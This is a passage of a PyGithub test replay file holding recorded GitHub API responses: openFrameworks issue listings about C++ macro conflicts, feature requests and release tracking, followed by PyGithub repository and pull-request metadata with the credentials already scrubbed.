(x) : (y))\r\n#endif\r\n\r\n#ifndef MAX\r\n\t#define MAX(x,y) (((x) > (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef CLAMP\r\n\t#define CLAMP(val,min,max) (MAX(MIN(val,max),min))\r\n#endif\r\n\r\n#ifndef ABS\r\n\t#define ABS(x) (((x) < 0) ? -(x) : (x))\r\n#endif\r\n```\r\n\r\nthe problem is i've got this in another header file:\r\n\r\n```c++\r\n// macro-like inline functions\r\n\r\ntemplate\r\ninline T SQR(const T a) {return a*a;}\r\n\r\ntemplate\r\ninline const T &MAX(const T &a, const T &b)\r\n {return b > a ? (b) : (a);}\r\n\r\ninline float MAX(const double &a, const float &b)\r\n {return b > a ? (b) : float(a);}\r\n\r\ninline float MAX(const float &a, const double &b)\r\n {return b > a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline const T &MIN(const T &a, const T &b)\r\n {return b < a ? (b) : (a);}\r\n\r\ninline float MIN(const double &a, const float &b)\r\n {return b < a ? (b) : float(a);}\r\n\r\ninline float MIN(const float &a, const double &b)\r\n {return b < a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline T SIGN(const T &a, const T &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const float &a, const double &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const double &a, const float &b)\r\n\t{return (float)(b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a));}\r\n```\r\n\r\nAnd ofConstants is included in almost every oF file\r\n\r\ni'd suggest moving to inline functions and presume that compiler optimisations makes these 2 options equivalent in terms of performance, but that inline wins out for compatability","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1007","comments":10,"milestone":null,"number":1007,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1007","assignee":null,"title":"bug #defines in ofConstants conflict with other libraries","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-29T15:31:18Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3438233,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-01T13:02:37Z","body":"Propose the following functions:\r\n\r\n```c++\r\nofVec2f ofRandom(const ofVec2f&);\r\nofVec3f ofRandom(const ofVec3f&);\r\nofVec2f ofRandom(const ofVec2f& range1, const ofVec2f& range2);\r\nofVec3f ofRandom(const ofVec3f& range1, const ofVec3f& range2);\r\n```\r\n\r\nalso lots of other candidates for this, e.g. `ofClamp`, `ofMap`, etc\r\nsome clever templating possible?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1005","comments":12,"milestone":null,"number":1005,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1005","assignee":null,"title":"feature ofRandom(ofVec3f) ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-29T06:32:03Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3432042,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-18T08:47:08Z","body":"I have a simple app that plays video files. I try to route (under windows) its output using Jack and Vitual Audio Cable but none can access it. I am just using the basic functionality of ofVideoPlayer, this is the class that deals with the video playing\r\n\r\n\r\n\t#include \"oscVPlayer.h\"\r\n\t#include \"ofMain.h\"\r\n\r\n\r\n\r\n\toscVPlayer::oscVPlayer()\r\n\t{\r\n\t\t\treset();\r\n\t}\r\n\r\n\tvoid oscVPlayer::reset()\r\n\t{ //defaults to fullscreen\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t\t\tx = 0;\r\n\t\t\ty = 0;\r\n\t\t\tdonereported = false;\r\n\t\t\tloopflag = OF_LOOP_NONE;\r\n\t\t\t\r\n\t\t\tcol.r = 0;\r\n\t\t\tcol.g = 0;\r\n\t\t\tcol.b = 0;\r\n\t\t\tcol.a = 255;\r\n\r\n\t\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t\t\tsetFrame(0);\r\n\t\t\t\t\tsetUseTexture(1);\r\n\t\t\t\t\tsetPaused(0);\r\n\t\t\t\t\tsetLoopState(OF_LOOP_NORMAL);\r\n\t\t\t\t\tsetSpeed(1);\r\n\t\t\t\t\tsetVolume(255);\r\n\t\t\t\t\tstop();\r\n\t\t}\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::setUpVideo(string movie)\r\n\t{\r\n\t\t\tif (movie != \"none\")\r\n\t\t\t{\r\n\t\t\t\t\tif ( loadMovie(movie) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"movie loaded\\n\");\r\n\t\t\t\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"CANNOT load movie\\n\");\r\n\t\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t\tprintf(\"movie parameter is none, cannot load it\\n\");\r\n\t\t\t}\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::setLoop()\r\n\t{\r\n\t\t\tsetLoopState(loopflag); // go back to your state. otherwise play resets it to loop ON\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::resetSize()\r\n\t{\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::draw()\r\n\t{\r\n\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t if (col.a < 255) ofEnableAlphaBlending();\r\n\t\t\t\tofSetColor(col.r,col.g,col.b, col.a);\r\n\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\tif (w==NULL && h==NULL)\r\n\t\t\t\t{\r\n\t\t\t\t\t\tofVideoPlayer::draw(x, y);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t\t\tofVideoPlayer::draw(x, y, w, h);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (col.a < 255) ofDisableAlphaBlending(); \r\n\t\t}\r\n\t}\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1001","comments":2,"milestone":null,"number":1001,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1001","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"OF app sound out not available from Jack","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-02-27T14:59:34Z","state":"open","user":{"url":"https://api.github.com/users/enrike","avatar_url":"https://secure.gravatar.com/avatar/cc2adbc6d91bf2288f34f60a547a82cd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cc2adbc6d91bf2288f34f60a547a82cd","login":"enrike","id":710785},"id":3401755,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T14:42:36Z","body":"// scissor\r\nvoid ofBeginScissor(ofRectangle &r);\r\nvoid ofBeginScissor(ofPoint &p, float w, float h);\r\nvoid ofBeginScissor(float x, float y, float w, float h);\r\nvoid ofEndScissor();\r\n\r\n\r\nthere is a problem with ofFBO due to the flip. I do not think that there is a way around it sooo just scale -1\r\n\r\nalso: \r\nextra ; removed \r\nlibs/openFrameworks/utils/ofUtils.cpp","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/993","comments":11,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":993,"html_url":"https://github.com/openframeworks/openFrameworks/issues/993","assignee":null,"title":"Of scissors","labels":[],"closed_at":null,"created_at":"2012-02-26T21:35:55Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":3393466,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/993.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/993","patch_url":"https://github.com/openframeworks/openFrameworks/pull/993.patch"}},{"updated_at":"2012-02-25T20:25:00Z","body":"i think this is because ofDrawBitmapString draws the quads in the wrong orientation. but i'm guessing it works in FBOs... so if we switch the order it will stop working in FBOs.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/987","comments":0,"milestone":null,"number":987,"html_url":"https://github.com/openframeworks/openFrameworks/issues/987","assignee":null,"title":"GL_CULL_FACE breaks ofDrawBitmapString()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-02-25T20:25:00Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3387163,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-22T23:34:17Z","body":"Some logging messages don't really tell where they were triggered. Someone needs to go through them and add information as to what module triggered the message. \r\n@danomatika has already volunteered to do this some time.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/985","comments":16,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":985,"html_url":"https://github.com/openframeworks/openFrameworks/issues/985","assignee":null,"title":"Make logging messages more informative","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-25T19:41:58Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3386914,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-11T18:31:55Z","body":"There's a lot of logging printfs in the core addons. These should be replaced by appropriate ofLog calls.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/984","comments":5,"milestone":null,"number":984,"html_url":"https://github.com/openframeworks/openFrameworks/issues/984","assignee":null,"title":"Replace printf() occurences by ofLog() in the core addons","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-02-25T19:36:51Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3386889,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T13:35:34Z","body":"`ofVec2f` has a function called `average` which takes an array of `ofVec2f` and calculates the centroid. it is not static, rather it overwrites its own `x` and `y` with the average. \r\n\r\nthis is a little weird. `average` should be static, or at least be *returning* the average rather than assigning to self.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/976","comments":4,"milestone":null,"number":976,"html_url":"https://github.com/openframeworks/openFrameworks/issues/976","assignee":null,"title":"ofVec2f::average has unexpected/clumsy behaviour","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-25T03:45:02Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":3382990,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T02:47:26Z","body":"Dummy issue to ensure that the 0076 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/972","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/10","number":10,"closed_issues":0,"title":"0076 Release","due_on":"2012-10-29T07:00:00Z","open_issues":1,"created_at":"2012-02-25T02:46:26Z","state":"open","description":"","id":88838},"number":972,"html_url":"https://github.com/openframeworks/openFrameworks/issues/972","assignee":null,"title":"0076 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T02:47:26Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3382766,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T02:47:37Z","body":"Dummy issue to ensure that the 0075 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/971","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/9","number":9,"closed_issues":0,"title":"0075 Release","due_on":"2012-09-24T07:00:00Z","open_issues":1,"created_at":"2012-02-25T02:46:15Z","state":"open","description":"","id":88837},"number":971,"html_url":"https://github.com/openframeworks/openFrameworks/issues/971","assignee":null,"title":"0075 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T02:47:05Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3382764,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PaginatedList.testTotalCountWithDictionary.txt0000644000175100001660000007337114756101563027337 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 20 Oct 2021 05:40:01 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"3df3b73de8e40cdb5d387193159be39ce9bdabd7fed1f0a71a9b805e67a35468"'), ('Last-Modified', 'Wed, 20 Oct 2021 04:31:56 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4977'), ('X-RateLimit-Reset', '1634708983'), ('X-RateLimit-Used', '23'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C660:3107:2B2D15:2F8D72:616FABB1')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2021-10-20T04:31:56Z","pushed_at":"2021-10-20T04:31:51Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13735,"stargazers_count":4719,"watchers_count":4719,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1391,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":148,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1391,"open_issues":148,"watchers":4719,"default_branch":"master","permissions":{"admin":false,"maintain":false,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":true,"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1391,"subscribers_count":107} https GET api.github.com None /repos/PyGithub/PyGithub/pulls/2078 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 20 Oct 2021 05:40:02 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"93e9d01c06dfaee4f8a00cf3a0ddc05e3bd4a660731a6d54dab0099ced3c0e38"'), ('Last-Modified', 'Fri, 15 Oct 2021 04:40:10 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4976'), ('X-RateLimit-Reset', '1634708983'), ('X-RateLimit-Used', '24'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C662:01C2:21F616:2B47D8:616FABB1')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/2078","id":758901742,"node_id":"PR_kwDOADYVqs4tO-vu","html_url":"https://github.com/PyGithub/PyGithub/pull/2078","diff_url":"https://github.com/PyGithub/PyGithub/pull/2078.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/2078.patch","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/2078","number":2078,"state":"closed","locked":false,"title":"Add method to delete Workflow runs","user":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"body":"One piece of missing functionality is the ability to delete Workflow\r\nRuns, which the GitHub API supports. Add a delete() method to\r\nWorkflowRun.\r\n\r\nFixes 